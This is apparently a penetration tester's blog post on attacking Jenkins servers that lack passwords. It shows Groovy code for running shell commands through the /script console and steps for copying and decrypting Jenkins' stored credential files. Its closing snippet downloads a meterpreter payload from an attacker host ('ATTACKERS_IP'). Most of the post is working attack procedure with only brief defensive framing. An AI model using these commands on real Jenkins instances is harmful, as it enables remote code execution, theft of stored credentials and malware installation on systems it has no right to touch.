Hacking Jenkins

Jenkins is a Continuous Integration server. Basically, Continuous Integration is the practice of running your tests on a non-developer machine automatically every time someone pushes new code into the source repository.

Developers like to know if all tests work and getting fast feedback.

What is a hole you’re talking about?

I’m talking about passwordless Jenkins. Never allow your users to use Jenkins without passwords. Here’s why: there’s /script file.

Screenshot from 2016-07-14 22-42-01.png

There’s a textbox where you can paste a Groovy script. Groovy is a kind of a scripting language for Java.

So you paste something like the following:

    def sout = new StringBuffer(), serr = new StringBuffer()
    def proc = 'ls'.execute()
    proc.consumeProcessOutput(sout, serr)
    println "$sout"

… and press Execute you will get the listing of / directory.

You can read /etc/passwd to find jenkins home directory in the most cases it is /var/lib/jenkins/.

Ok I can run commands. What’s next?

There’re 3 important files in the Jenkins:

├── credentials.xml
├── secret.key
├── secret.key.not-so-secret
├── secrets
│   ├── hudson.util.Secret
│   └── master.key

Jenkins stores user credentials in credentials.xml encrypted. master.key is used to encrypt hudson.util.Secret key which encrypts passwords in credentials.xml. You can read about how it works here.

To get needed files you can use /userContent directory in /var/lib/jenkins/. It is accessible at http://jenkispath/userContent. Just cp them. Of course, you can cat them but that’s a bit harder because hudson.util.Secret is a binary file and you’ll get some bad characters whet you try to read it. For decryption, you can use this script or write in yourself.

It’s pretty simple. Just run, use your files as input and you won.

Jenkins with password authentication

On tests, you often get some domain creds and Jenkins uses NTLM authentication. If so you can log in as a domain user and get users’ credentials as described above.

Nota Bene

During an engagement, I had one Jenkins run as NT\SYSTEM. I’m not sure if that was necessary but it ended up bad.

By the way, to upload your meterpreter using Groovy script you can use:

def url = 'http://ATTACKERS_IP/exploit.exe'  
        def file = new File('exploit.exe').newOutputStream()  
        file << new URL(url).openStream()